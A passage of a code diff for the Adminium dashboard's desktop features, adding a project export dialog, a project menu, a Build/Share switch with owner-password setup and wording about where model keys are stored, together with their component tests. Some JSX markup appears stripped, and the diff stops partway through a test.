+
+
{t('designer:home.title', 'What do you want to build?')}
{t('designer:home.lead', 'Describe it. Adminium brings the database, the dashboard, sign-in and the API.')}
+
setVersionsReopened(true)} />
-
+ {models?.kept != null && (models.ignoredEnv ?? []).length > 0 ? (
+
+ {t('designer:model.envNotUsed', 'This project’s .env names a model. In the app, models are kept on this computer; that line is not used.')}
+
+ ) : null}
+
- {t('designer:model.keptLead', 'Where this is kept:')}
+ {t('designer:model.keptLead', 'Where this is kept:')} {models?.kept == null ? : keptByAppWords(models.kept, getDesktopApi()?.platform)}
>
@@ -364,6 +370,17 @@ export function AddModelDialog({
);
}
+/**
+ * Where the desktop app keeps a key, in the words of the system it runs on. It says the key is encrypted at rest and
+ * is not in the project, and nothing more: it is not a promise about other programs on this computer.
+ */
+export function keptByAppWords(kept: 'key-store' | 'plain', platform: string | undefined): string {
+ if (kept === 'plain') return t('designer:model.keptPlain', 'on this computer, as plain text in a file only you can read: this computer has no key store. It is not put in your project, so a project you export or share carries none.');
+ if (platform === 'darwin') return t('designer:model.keptMac', 'on this computer, encrypted by Keychain. It is not put in your project, so a project you export or share carries none.');
+ if (platform === 'win32') return t('designer:model.keptWindows', 'on this computer, encrypted by Windows. It is not put in your project, so a project you export or share carries none.');
+ return t('designer:model.keptLinux', 'on this computer, encrypted by your desktop’s key store. It is not put in your project, so a project you export or share carries none.');
+}
+
/** "in the file `.env` in your project folder, …", with the file name in mono wherever the language puts it. */
function KeptLine(): ReactNode {
const MARK = '\u0001';
diff --git a/apps/dashboard/src/designer/models/models.test.tsx b/apps/dashboard/src/designer/models/models.test.tsx
index b53f59a78..9a54d52c8 100644
--- a/apps/dashboard/src/designer/models/models.test.tsx
+++ b/apps/dashboard/src/designer/models/models.test.tsx
@@ -26,6 +26,7 @@ import { installTestI18n } from '../../i18n/testing.js';
import { AppToastProvider } from '../../pages/toasts.js';
import { jsonResponse } from '../../test/fixtures.js';
import type { ConnectionTest, DesignerModels } from '../api.js';
+import { keptByAppWords } from './AddModelDialog.js';
import { ModelButton } from './ModelButton.js';
import { useDesignerModel } from './useModel.js';
import { useModelControl } from './useModelControl.js';
@@ -325,3 +326,42 @@ describe('the model button', () => {
expect(container.querySelector('[aria-hidden="true"]')).not.toBeNull();
});
});
+
+describe('where a key is kept, inside the desktop app', () => {
+ const open = async (): Promise
=> {
+ mount();
+ await userEvent.click(await screen.findByRole('button', { name: 'Add a model' }));
+ const dialog = await screen.findByRole('dialog', { name: 'Add a model' });
+ await userEvent.click(within(dialog).getByRole('button', { name: /Anthropic/ }));
+ return dialog;
+ };
+
+ it('on a terminal it is the project’s .env, as before', async () => {
+ models = NONE;
+ const dialog = await open();
+ expect(dialog.textContent).toContain('in the file .env in your project folder');
+ expect(within(dialog).queryByRole('note')).toBeNull();
+ });
+
+ it('in the app it is the app’s own keeping, and a model line in the project’s .env is said to be unused', async () => {
+ models = { ...NONE, kept: 'key-store', ignoredEnv: ['ADMINIUM_AI_MODEL'] };
+ const dialog = await open();
+ expect(dialog.textContent).toContain('It is not put in your project, so a project you export or share carries none.');
+ expect(dialog.textContent).not.toContain('in the file .env in your project folder');
+ expect(within(dialog).getByRole('note').textContent).toBe('This project’s .env names a model. In the app, models are kept on this computer; that line is not used.');
+ });
+
+ it('with no key store it says so plainly, and with nothing in .env there is no note', async () => {
+ models = { ...NONE, kept: 'plain', ignoredEnv: [] };
+ const dialog = await open();
+ expect(dialog.textContent).toContain('this computer has no key store');
+ expect(within(dialog).queryByRole('note')).toBeNull();
+ });
+
+ it('names the system’s own key store', () => {
+ expect(keptByAppWords('key-store', 'darwin')).toContain('encrypted by Keychain');
+ expect(keptByAppWords('key-store', 'win32')).toContain('encrypted by Windows');
+ expect(keptByAppWords('key-store', 'linux')).toContain('your desktop’s key store');
+ expect(keptByAppWords('key-store', undefined)).toContain('your desktop’s key store');
+ });
+});
diff --git a/apps/dashboard/src/designer/parts/DesktopExport.test.tsx b/apps/dashboard/src/designer/parts/DesktopExport.test.tsx
new file mode 100644
index 000000000..1e5aba840
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/DesktopExport.test.tsx
@@ -0,0 +1,107 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { cleanup, render, screen, waitFor } from '@testing-library/react';
+import { userEvent } from '@testing-library/user-event';
+import type { AdminiumDesktopApi, DesktopExportResult, DesktopProjectInfo } from '@adminium/desktop/api';
+import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest';
+
+import { installTestI18n } from '../../i18n/testing.js';
+import { AppToastProvider } from '../../pages/toasts.js';
+import { ProjectButton } from './DesktopProject.js';
+
+let restore: () => void;
+beforeAll(() => {
+ restore = installTestI18n();
+});
+afterAll(() => restore());
+afterEach(() => {
+ cleanup();
+ Reflect.deleteProperty(window, 'adminiumDesktop');
+});
+
+const INFO: DesktopProjectInfo = { name: 'Juniper Kitchen', displayPath: '~/Adminium/juniper-kitchen', mode: 'design' };
+
+function app(project: Record) {
+ Object.defineProperty(window, 'adminiumDesktop', { value: { platform: 'darwin', project } as unknown as AdminiumDesktopApi, configurable: true });
+}
+const mount = (): void => {
+ render(
+
+
+ ,
+ );
+};
+const open = async (): Promise => {
+ await userEvent.click(screen.getByRole('button', { name: 'Project: Juniper Kitchen' }));
+ await userEvent.click(await screen.findByRole('menuitem', { name: 'Export this project…' }));
+ return screen.findByRole('dialog', { name: 'Export Juniper Kitchen' });
+};
+
+describe('"Export this project…"', () => {
+ it('cannot be chosen in an app older than the export', async () => {
+ app({});
+ mount();
+ await userEvent.click(screen.getByRole('button', { name: 'Project: Juniper Kitchen' }));
+ expect((await screen.findByRole('menuitem', { name: 'Export this project…' })).getAttribute('aria-disabled')).toBe('true');
+ });
+
+ it('asks what the file holds, with neither chosen for the person, and says what each means', async () => {
+ const run = vi.fn<(input: { kind: string; title: string }) => Promise>(() => Promise.resolve({ status: 'cancelled' }));
+ app({ export: run });
+ mount();
+ const dialog = await open();
+ const radios = screen.getAllByRole('radio');
+ expect(radios.map((radio) => radio.getAttribute('aria-checked'))).toEqual(['false', 'false']);
+ expect((screen.getByRole('button', { name: 'Export…' }) as HTMLButtonElement).disabled).toBe(true);
+ expect(dialog.textContent).toContain('Whoever opens it can read all of it, saved database connections included.');
+ expect(dialog.textContent).toContain('Your model keys are never included: they stay on this computer.');
+ expect(dialog.textContent).toContain('The project stops for a moment while the file is made');
+
+ await userEvent.click(screen.getByRole('radio', { name: /The apps only/ }));
+ await userEvent.keyboard('{ArrowUp}');
+ expect(screen.getByRole('radio', { name: /its data and its key/ }).getAttribute('aria-checked')).toBe('true');
+ await userEvent.keyboard('{ArrowDown}');
+ await userEvent.click(screen.getByRole('button', { name: 'Export…' }));
+ expect(run).toHaveBeenCalledWith({ kind: 'apps', title: 'Export Juniper Kitchen', from: `${window.location.pathname}${window.location.search}` });
+ // Cancelled in the system's dialog: the choice is still there.
+ await waitFor(() => expect((screen.getByRole('button', { name: 'Export…' }) as HTMLButtonElement).disabled).toBe(false));
+ });
+
+ it('says when something is still running, and why a file could not be made', async () => {
+ const run = vi.fn<() => Promise>().mockResolvedValueOnce({ status: 'busy' }).mockResolvedValueOnce({ status: 'failed', detail: 'ENOSPC: no space left on device' }).mockRejectedValueOnce(new Error('UNAVAILABLE: gone'));
+ app({ export: run });
+ mount();
+ await open();
+ await userEvent.click(screen.getByRole('radio', { name: /The apps only/ }));
+ const go = screen.getByRole('button', { name: 'Export…' });
+ await userEvent.click(go);
+ expect((await screen.findByRole('alert')).textContent).toBe('Something is still running in this project. Export it when that is done.');
+ await userEvent.click(go);
+ await waitFor(() => expect(screen.getByRole('alert').textContent).toBe('ENOSPC: no space left on device'));
+ await userEvent.click(go);
+ await waitFor(() => expect(screen.getByRole('alert').textContent).toContain('gone'));
+ });
+
+ it('the page that comes back says where it was saved, once, and shows the file on request', async () => {
+ const showExport = vi.fn(() => Promise.resolve());
+ app({ exportResult: vi.fn(() => Promise.resolve({ status: 'saved', file: 'juniper-kitchen.zip', megabytes: 48.3 })), showExport });
+ mount();
+ expect(await screen.findByText('Saved juniper-kitchen.zip, 48.3 MB')).toBeTruthy();
+ await userEvent.click(screen.getByRole('button', { name: 'Show in Finder' }));
+ expect(showExport).toHaveBeenCalledTimes(1);
+ });
+
+ it('and says so when it could not be made; with nothing to tell it says nothing', async () => {
+ app({ exportResult: vi.fn(() => Promise.resolve({ status: 'failed', detail: 'EACCES' })) });
+ mount();
+ expect(await screen.findByText('The export could not be made')).toBeTruthy();
+ cleanup();
+ for (const answer of [() => Promise.resolve(null), () => Promise.reject(new Error('gone'))]) {
+ app({ exportResult: vi.fn(answer) });
+ mount();
+ await Promise.resolve();
+ await Promise.resolve();
+ expect(screen.queryByText(/Saved|could not be made/)).toBeNull();
+ cleanup();
+ }
+ });
+});
diff --git a/apps/dashboard/src/designer/parts/DesktopExport.tsx b/apps/dashboard/src/designer/parts/DesktopExport.tsx
new file mode 100644
index 000000000..0f7679251
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/DesktopExport.tsx
@@ -0,0 +1,136 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * "Export this project…", from the Designer inside the desktop app: the choice
+ * of what the file holds, said in what it means for whoever opens it, then the
+ * app makes the ZIP. The project stops for the moment the file is made, so
+ * this page is gone when it is done; the page that comes back says how it went
+ * ({@link useExportOutcome}).
+ */
+import { useEffect, useId, useState, type KeyboardEvent, type ReactNode } from 'react';
+import { Lock, Package } from 'lucide-react';
+import type { DesktopExportKind } from '@adminium/desktop/api';
+import { Button, Modal, ModalBody, ModalFooter, ModalHeader } from '@adminium/ui';
+
+import { t } from '../../i18n/t.js';
+import { getDesktopApi } from '../../lib/desktop-runtime.js';
+import { useAppToasts } from '../../pages/toasts.js';
+import { showInFolderLabel } from './showInFolderLabel.js';
+
+export function ExportDialog({ name, open, onOpenChange }: { name: string; open: boolean; onOpenChange: (open: boolean) => void }): ReactNode {
+ const group = useId();
+ const [kind, setKind] = useState(null);
+ const [busy, setBusy] = useState(false);
+ const [problem, setProblem] = useState(null);
+ const options: { id: DesktopExportKind; title: string; line: string }[] = [
+ { id: 'everything', title: t('designer:export.everything', 'The project’s apps, its data and its key'), line: t('designer:export.everythingLine', 'Whoever opens it can read all of it, saved database connections included. Send it only to someone you would give that to.') },
+ { id: 'apps', title: t('designer:export.apps', 'The apps only'), line: t('designer:export.appsLine', 'Without the data, the key and your chats with the Designer. Whoever opens it starts with empty data.') },
+ ];
+ const onKey = (event: KeyboardEvent): void => {
+ if (!['ArrowDown', 'ArrowRight', 'ArrowUp', 'ArrowLeft'].includes(event.key)) return;
+ event.preventDefault();
+ const next = kind === 'everything' ? 'apps' : 'everything';
+ setKind(next);
+ document.getElementById(`${group}-${next}`)?.focus();
+ };
+ const run = (): void => {
+ const project = getDesktopApi()?.project;
+ if (kind === null || project?.export === undefined) return;
+ setBusy(true);
+ setProblem(null);
+ project
+ .export({ kind, title: t('designer:export.saveTitle', 'Export {name}', { name }), from: `${window.location.pathname}${window.location.search}` })
+ .then((result) => {
+ setBusy(false);
+ if (result.status === 'cancelled') return;
+ if (result.status === 'busy') setProblem(t('designer:export.busy', 'Something is still running in this project. Export it when that is done.'));
+ else if (result.status === 'failed') setProblem(result.detail);
+ // 'saved': the project was stopped for it, and the page that came back says so.
+ else onOpenChange(false);
+ })
+ .catch((error: unknown) => {
+ setBusy(false);
+ setProblem(error instanceof Error ? error.message : String(error));
+ });
+ };
+ return (
+ (busy ? undefined : onOpenChange(next))} size="lg" className="max-w-[560px] rounded-[20px] leading-[normal]">
+ } title={{t('designer:export.title', 'Export {name}', { name })} } />
+
+
+ {options.map((option, index) => {
+ const on = kind === option.id;
+ return (
+ setKind(option.id)}
+ className={`flex w-full cursor-pointer items-start gap-3 rounded-[12px] border px-4 py-[15px] text-start text-fg disabled:cursor-not-allowed ${on ? 'border-accent bg-[color-mix(in_srgb,var(--accent)_5%,var(--surface))] shadow-[0_0_0_1px_var(--accent)]' : 'border-border bg-surface shadow-sm'}`}
+ >
+
+ {on ? : null}
+
+
+ {option.title}
+ {option.line}
+
+
+ );
+ })}
+
+
+
+ {t('designer:export.noModelKeys', 'Your model keys are never included: they stay on this computer.')}
+
+ {t('designer:export.stops', 'The project stops for a moment while the file is made, and this window comes back when it is done.')}
+ {problem === null ? null : (
+
+ {problem}
+
+ )}
+
+
+ onOpenChange(false)}>
+ {t('designer:export.cancel', 'Cancel')}
+
+
+ {busy ? t('designer:export.working', 'Exporting…') : t('designer:export.go', 'Export…')}
+
+
+
+ );
+}
+
+/** Said once by the page that comes back after an export: where it was saved, or why it was not. */
+export function useExportOutcome(): void {
+ const toasts = useAppToasts();
+ useEffect(() => {
+ const api = getDesktopApi();
+ const project = api?.project;
+ if (project?.exportResult === undefined) return;
+ let live = true;
+ void project.exportResult().then(
+ (result) => {
+ if (!live || result === null) return;
+ if (result.status === 'saved') {
+ toasts.push({
+ variant: 'success',
+ title: t('designer:export.saved', 'Saved {file}, {size} MB', { file: result.file, size: result.megabytes }),
+ action: { label: showInFolderLabel(api?.platform), onAction: () => void project.showExport?.() },
+ });
+ } else if (result.status === 'failed') {
+ toasts.push({ variant: 'error', title: t('designer:export.failed', 'The export could not be made'), description: result.detail });
+ }
+ },
+ () => undefined,
+ );
+ return () => {
+ live = false;
+ };
+ // Once per page: the outcome is handed over once.
+ }, []);
+}
diff --git a/apps/dashboard/src/designer/parts/DesktopProject.test.tsx b/apps/dashboard/src/designer/parts/DesktopProject.test.tsx
new file mode 100644
index 000000000..b71922a74
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/DesktopProject.test.tsx
@@ -0,0 +1,137 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { cleanup, render, screen, waitFor } from '@testing-library/react';
+import { userEvent } from '@testing-library/user-event';
+import type { AdminiumDesktopApi, DesktopProjectApi, DesktopProjectInfo } from '@adminium/desktop/api';
+import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest';
+
+import { installTestI18n } from '../../i18n/testing.js';
+import { AppToastProvider } from '../../pages/toasts.js';
+import { BuildShare, DesktopBuildShare, ProjectButton, forgetDesktopProject, showInFolderLabel, useDesktopProject } from './DesktopProject.js';
+
+let restore: () => void;
+beforeAll(() => {
+ restore = installTestI18n();
+});
+afterAll(() => restore());
+afterEach(() => {
+ cleanup();
+ forgetDesktopProject();
+ Reflect.deleteProperty(window, 'adminiumDesktop');
+});
+
+const INFO: DesktopProjectInfo = { name: 'Juniper Kitchen', displayPath: '~/Adminium/juniper-kitchen', mode: 'design' };
+
+function bridge(project: Partial | undefined, platform = 'darwin'): DesktopProjectApi {
+ const api: DesktopProjectApi = {
+ info: vi.fn(() => Promise.resolve(INFO)),
+ showInFolder: vi.fn(() => Promise.resolve()),
+ close: vi.fn(() => Promise.resolve(true)),
+ ...project,
+ };
+ Object.defineProperty(window, 'adminiumDesktop', { value: { platform, ...(project === undefined ? {} : { project: api }) } as unknown as AdminiumDesktopApi, configurable: true });
+ return api;
+}
+
+function Probe() {
+ const project = useDesktopProject();
+ return {project === null ? 'none' : project.name}
;
+}
+
+describe('the project a window holds', () => {
+ it('is none in a browser, in an app older than the call, and in the classic workspace', async () => {
+ render( );
+ expect(screen.getByText('none')).toBeTruthy();
+ cleanup();
+
+ bridge(undefined);
+ render( );
+ await Promise.resolve();
+ expect(screen.getByText('none')).toBeTruthy();
+ cleanup();
+
+ const classic = bridge({ info: vi.fn(() => Promise.resolve(null)) });
+ render( );
+ await waitFor(() => {
+ expect(classic.info).toHaveBeenCalledTimes(1);
+ });
+ expect(screen.getByText('none')).toBeTruthy();
+ });
+
+ it('is asked of the app once for a page, however many bars read it', async () => {
+ const api = bridge({});
+ render(
+ <>
+
+
+ >,
+ );
+ expect(await screen.findAllByText('Juniper Kitchen')).toHaveLength(2);
+ expect(api.info).toHaveBeenCalledTimes(1);
+ });
+
+ it('is none when the app could not say', async () => {
+ const api = bridge({ info: vi.fn(() => Promise.reject(new Error('UNTRUSTED_SENDER: no'))) });
+ render( );
+ await waitFor(() => {
+ expect(api.info).toHaveBeenCalled();
+ });
+ expect(screen.getByText('none')).toBeTruthy();
+ });
+});
+
+describe('the project’s button', () => {
+ it('opens a menu of what is done with a project as a whole; the two that are built call the app', async () => {
+ const api = bridge({});
+ render(
+
+
+ ,
+ );
+ const button = screen.getByRole('button', { name: 'Project: Juniper Kitchen' });
+ expect(button.textContent).toBe('Juniper Kitchen');
+ await userEvent.click(button);
+ expect(screen.getAllByRole('menuitem').map((item) => item.textContent)).toEqual(['Export this project…', 'Show in Finder', 'Close project']);
+ // The ZIP is not built yet.
+ expect(screen.getByRole('menuitem', { name: 'Export this project…' }).getAttribute('aria-disabled')).toBe('true');
+
+ await userEvent.click(screen.getByRole('menuitem', { name: 'Show in Finder' }));
+ expect(api.showInFolder).toHaveBeenCalledTimes(1);
+ await userEvent.click(button);
+ await userEvent.click(screen.getByRole('menuitem', { name: 'Close project' }));
+ expect(api.close).toHaveBeenCalledTimes(1);
+ });
+
+ it('names the place folders are looked at as the system does', () => {
+ expect(showInFolderLabel('darwin')).toBe('Show in Finder');
+ expect(showInFolderLabel('win32')).toBe('Show in File Explorer');
+ expect(showInFolderLabel('linux')).toBe('Show in the file manager');
+ expect(showInFolderLabel(undefined)).toBe('Show in the file manager');
+ });
+});
+
+describe('Build | Share', () => {
+ it('is a choice of two with Build chosen while the project is being built; in an app older than sharing, Share cannot be chosen', () => {
+ render( );
+ const group = screen.getByRole('radiogroup', { name: 'Build or share' });
+ const [build, share] = screen.getAllByRole('radio') as [HTMLButtonElement, HTMLButtonElement];
+ expect(group.contains(build)).toBe(true);
+ expect([build.textContent, build.getAttribute('aria-checked'), build.tabIndex]).toEqual(['Build', 'true', 0]);
+ expect([share.textContent, share.getAttribute('aria-checked'), share.tabIndex, share.disabled]).toEqual(['Share', 'false', -1, true]);
+ });
+
+ it('shows Share chosen for a project that is shared', () => {
+ render( );
+ const [build, share] = screen.getAllByRole('radio') as [HTMLButtonElement, HTMLButtonElement];
+ expect(build.getAttribute('aria-checked')).toBe('false');
+ expect([share.getAttribute('aria-checked'), share.disabled, share.tabIndex]).toEqual(['true', false, 0]);
+ });
+
+ it('draws nothing in a bar outside a desktop project', async () => {
+ const { container } = render( );
+ expect(container.innerHTML).toBe('');
+ cleanup();
+ bridge({});
+ render( );
+ expect(await screen.findByRole('radiogroup')).toBeTruthy();
+ });
+});
diff --git a/apps/dashboard/src/designer/parts/DesktopProject.tsx b/apps/dashboard/src/designer/parts/DesktopProject.tsx
new file mode 100644
index 000000000..34c4e513e
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/DesktopProject.tsx
@@ -0,0 +1,124 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * What the Designer's top bars gain inside the desktop app, when the window
+ * holds a project folder: the project's name as a button with the three
+ * things a person does with a project as a whole, and Build | Share.
+ *
+ * Nothing here renders anywhere else. In a browser there is no bridge; in the
+ * app's classic workspace the bridge says the window holds no project; and an
+ * app older than these calls has no `project` on its bridge at all.
+ */
+import { useEffect, useState, type ReactNode } from 'react';
+import { ChevronDown, FolderOpen, Hammer, Package, RadioTower, X } from 'lucide-react';
+import type { DesktopProjectInfo } from '@adminium/desktop/api';
+import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuSeparator, DropdownMenuTrigger } from '@adminium/ui';
+
+import { t } from '../../i18n/t.js';
+import { getDesktopApi } from '../../lib/desktop-runtime.js';
+import { ExportDialog, useExportOutcome } from './DesktopExport.js';
+import { ShareDialog } from './DesktopShare.js';
+import { showInFolderLabel } from './showInFolderLabel.js';
+
+export { showInFolderLabel };
+
+/** Asked once per page load: the project a window holds does not change under a page. */
+let asked: Promise | null = null;
+
+function projectInfo(): Promise {
+ const project = getDesktopApi()?.project;
+ if (project === undefined) return Promise.resolve(null);
+ asked ??= project.info().catch(() => null);
+ return asked;
+}
+
+/** For tests: the next read asks the bridge again. */
+export function forgetDesktopProject(): void {
+ asked = null;
+}
+
+/** The project this window holds, or `null`: not the app, not a project, or not known yet. */
+export function useDesktopProject(): DesktopProjectInfo | null {
+ const [info, setInfo] = useState(null);
+ useEffect(() => {
+ let live = true;
+ void projectInfo().then((value) => {
+ if (live) setInfo(value);
+ });
+ return () => {
+ live = false;
+ };
+ }, []);
+ return info;
+}
+
+/** The rule, then the project's name as a button with its menu. */
+export function ProjectButton({ project }: { project: DesktopProjectInfo }): ReactNode {
+ const api = getDesktopApi();
+ const [exporting, setExporting] = useState(false);
+ // The page that comes back after an export says how it went.
+ useExportOutcome();
+ return (
+ <>
+ {exporting ? : null}
+
+
+
+ {project.name}
+
+
+
+ {/* The ZIP is made by the app, with the choice of what goes in it. An app older than the call cannot. */}
+ } onSelect={() => setExporting(true)}>
+ {t('designer:project.export', 'Export this project…')}
+
+ } onSelect={() => void api?.project.showInFolder()}>
+ {showInFolderLabel(api?.platform)}
+
+
+ } onSelect={() => void api?.project.close()}>
+ {t('designer:project.close', 'Close project')}
+
+
+
+ >
+ );
+}
+
+const segment = (on: boolean): string =>
+ [
+ 'inline-flex items-center gap-[7px] rounded-[8px] border-0 py-1.5 pe-[15px] ps-[13px] text-[13px] font-bold leading-[normal]',
+ on ? 'bg-surface text-fg shadow-[0_1px_2px_rgba(20,20,35,.10),0_1px_3px_rgba(20,20,35,.08)]' : 'bg-transparent text-fg-muted',
+ 'disabled:cursor-not-allowed disabled:opacity-45',
+ ].join(' ');
+
+/** Build | Share. Build is where a project is while the Designer is on; choosing Share opens the steps before it is put on the network. */
+export function BuildShare({ project }: { project: DesktopProjectInfo }): ReactNode {
+ const shared = project.mode === 'serve';
+ const [sharing, setSharing] = useState(false);
+ // An app older than sharing has no call for it: its side cannot be chosen.
+ const canShare = getDesktopApi()?.project?.share !== undefined;
+ return (
+ <>
+
+
+
+ {t('designer:mode.build', 'Build')}
+
+ (shared ? undefined : setSharing(true))} className={segment(shared)}>
+
+ {t('designer:mode.share', 'Share')}
+
+
+ {sharing ? : null}
+ >
+ );
+}
+
+/** Build | Share for a bar that fills its own end (the build page): nothing outside a desktop project. */
+export function DesktopBuildShare(): ReactNode {
+ const project = useDesktopProject();
+ return project === null ? null : ;
+}
diff --git a/apps/dashboard/src/designer/parts/DesktopShare.test.tsx b/apps/dashboard/src/designer/parts/DesktopShare.test.tsx
new file mode 100644
index 000000000..37cd96717
--- /dev/null
+++ b/apps/dashboard/src/designer/parts/DesktopShare.test.tsx
@@ -0,0 +1,169 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { cleanup, render, screen, waitFor } from '@testing-library/react';
+import { userEvent } from '@testing-library/user-event';
+import type { AdminiumDesktopApi, DesktopProjectInfo, DesktopShareResult } from '@adminium/desktop/api';
+import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from 'vitest';
+
+import { ShareBanner } from '../../desktop/ShareBanner.js';
+import { installTestI18n } from '../../i18n/testing.js';
+import { jsonResponse } from '../../test/fixtures.js';
+import { BuildShare } from './DesktopProject.js';
+
+let restore: () => void;
+beforeAll(() => {
+ restore = installTestI18n();
+});
+afterAll(() => restore());
+afterEach(() => {
+ cleanup();
+ vi.unstubAllGlobals();
+ Reflect.deleteProperty(window, 'adminiumDesktop');
+});
+
+const INFO: DesktopProjectInfo = { name: 'Juniper Kitchen', displayPath: '~/Adminium/juniper-kitchen', mode: 'design' };
+
+/** The Designer's server: whether the owner still needs a password, and the route that sets one. */
+function server(needs: boolean, set: (body: { email: string; password: string }) => Response = () => jsonResponse(200, { email: 'ava@example.com' })) {
+ let ownerNeedsPassword = needs;
+ const fetch = vi.fn((url: string, init?: RequestInit) => {
+ if (url === '/api/v1/designer/state') return Promise.resolve(jsonResponse(200, { mode: 'local', project: 'juniper', limits: { maxSteps: 60, turnTokens: 1, sessionTokens: 1 }, active: null, ownerNeedsPassword, ignoredEnv: [] }));
+ if (url === '/api/v1/designer/owner-password') {
+ const reply = set(JSON.parse(String(init?.body)) as { email: string; password: string });
+ if (reply.ok) ownerNeedsPassword = false;
+ return Promise.resolve(reply);
+ }
+ return Promise.resolve(jsonResponse(404, {}));
+ });
+ vi.stubGlobal('fetch', fetch);
+ return fetch;
+}
+function app(share: () => Promise) {
+ const api = { share: vi.fn(share) };
+ Object.defineProperty(window, 'adminiumDesktop', { value: { platform: 'darwin', project: api } as unknown as AdminiumDesktopApi, configurable: true });
+ return api;
+}
+const mount = (): void => {
+ render(
+
+
+ ,
+ );
+};
+
+describe('Share, from the Designer inside the app', () => {
+ it('with an owner password already: one step, what sharing means, then the app is asked to share', async () => {
+ server(false);
+ const api = app(() => new Promise(() => undefined));
+ mount();
+ await userEvent.click(screen.getByRole('radio', { name: 'Share' }));
+ const dialog = await screen.findByRole('dialog', { name: 'Before you share' });
+ expect(dialog.textContent).toContain('Share · 1 of 1');
+ expect(dialog.textContent).toContain('Your project’s data stays on this computer.');
+ expect(dialog.textContent).toContain('Traffic on your local network is not encrypted.');
+ const go = screen.getByRole('button', { name: 'Share now' });
+ await waitFor(() => expect((go as HTMLButtonElement).disabled).toBe(false));
+ await userEvent.click(go);
+ expect(api.share).toHaveBeenCalledTimes(1);
+ // While the app works the dialog cannot be left and says so.
+ expect(await screen.findByRole('button', { name: 'Sharing…' })).toHaveProperty('disabled', true);
+ });
+
+ it('with no owner password: first how to sign in from other devices, and only then the switch', async () => {
+ const fetch = server(true);
+ const api = app(() => Promise.resolve({ status: 'shared' }));
+ mount();
+ await userEvent.click(screen.getByRole('radio', { name: 'Share' }));
+ const dialog = await screen.findByRole('dialog', { name: 'Choose how you sign in from other devices' });
+ expect(dialog.textContent).toContain('Share · 1 of 2');
+ expect(dialog.textContent).toContain('On this computer you never need them.');
+ expect(screen.queryByRole('button', { name: 'Share now' })).toBeNull();
+
+ await userEvent.type(screen.getByLabelText(/Your email/), 'ava@example.com');
+ await userEvent.type(screen.getByLabelText(/^Password/), 'correct horse battery');
+ await userEvent.type(screen.getByLabelText(/The same password again/), 'not the same');
+ await userEvent.click(screen.getByRole('button', { name: 'Next' }));
+ expect(await screen.findByText('The two passwords are not the same.')).toBeTruthy();
+ expect(fetch.mock.calls.some(([url]) => url === '/api/v1/designer/owner-password')).toBe(false);
+
+ await userEvent.clear(screen.getByLabelText(/The same password again/));
+ await userEvent.type(screen.getByLabelText(/The same password again/), 'correct horse battery');
+ await userEvent.click(screen.getByRole('button', { name: 'Next' }));
+ expect(await screen.findByRole('dialog', { name: 'Before you share' })).toBeTruthy();
+ expect(screen.getByRole('dialog').textContent).toContain('Share · 2 of 2');
+ await userEvent.click(screen.getByRole('button', { name: 'Share now' }));
+ expect(api.share).toHaveBeenCalledTimes(1);
+ });
+
+ it('says what the server refused about the address or the password, on its field', async () => {
+ server(true, () => jsonResponse(400, { error: { code: 'VALIDATION', message: 'Use at least 12 characters.', details: { reason: 'PASSWORD' } } }));
+ app(() => Promise.resolve({ status: 'shared' }));
+ mount();
+ await userEvent.click(screen.getByRole('radio', { name: 'Share' }));
+ await screen.findByRole('dialog', { name: 'Choose how you sign in from other devices' });
+ await userEvent.type(screen.getByLabelText(/Your email/), 'ava@example.com');
+ await userEvent.type(screen.getByLabelText(/^Password/), 'short');
+ await userEvent.type(screen.getByLabelText(/The same password again/), 'short');
+ await userEvent.click(screen.getByRole('button', { name: 'Next' }));
+ expect(await screen.findByText('Use at least 12 characters.')).toBeTruthy();
+ expect(screen.queryByRole('button', { name: 'Share now' })).toBeNull();
+ });
+
+ it('when the app itself says a password is needed, it is asked for; kept working closes; a failure is said', async () => {
+ server(false);
+ const share = vi
+ .fn<() => Promise>()
+ .mockResolvedValueOnce({ status: 'needs-password' })
+ .mockResolvedValueOnce({ status: 'failed', detail: 'No port from 4700 to 4799 is free on this computer.' })
+ .mockResolvedValueOnce({ status: 'kept-working' });
+ app(share);
+ mount();
+ await userEvent.click(screen.getByRole('radio', { name: 'Share' }));
+ await userEvent.click(await screen.findByRole('button', { name: 'Share now' }));
+ expect(await screen.findByRole('dialog', { name: 'Choose how you sign in from other devices' })).toBeTruthy();
+ cleanup();
+
+ mount();
+ await userEvent.click(screen.getByRole('radio', { name: 'Share' }));
+ await userEvent.click(await screen.findByRole('button', { name: 'Share now' }));
+ expect((await screen.findByRole('alert')).textContent).toBe('No port from 4700 to 4799 is free on this computer.');
+ await userEvent.click(screen.getByRole('button', { name: 'Share now' }));
+ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull());
+ });
+
+ it('"Cancel" shares nothing', async () => {
+ server(false);
+ const api = app(() => Promise.resolve({ status: 'shared' }));
+ mount();
+ await userEvent.click(screen.getByRole('radio', { name: 'Share' }));
+ await userEvent.click(await screen.findByRole('button', { name: 'Cancel' }));
+ await waitFor(() => expect(screen.queryByRole('dialog')).toBeNull());
+ expect(api.share).not.toHaveBeenCalled();
+ });
+});
+
+describe('the dashboard of a project that is shared', () => {
+ const withBridge = (project: Record | undefined): void => {
+ Object.defineProperty(window, 'adminiumDesktop', { value: { platform: 'darwin', ...(project === undefined ? {} : { project }) } as unknown as AdminiumDesktopApi, configurable: true });
+ };
+
+ it('says so in one line, with the way back to the sharing details', async () => {
+ const showShared = vi.fn(() => Promise.resolve());
+ withBridge({ shareInfo: () => Promise.resolve({ name: 'Juniper', port: 4712, addresses: [], changedFrom: null, language: null, theme: 'system' }), showShared });
+ render( );
+ expect((await screen.findByRole('status')).textContent).toContain('This project is shared on your network.');
+ await userEvent.click(screen.getByRole('button', { name: 'Sharing details' }));
+ expect(showShared).toHaveBeenCalledTimes(1);
+ });
+
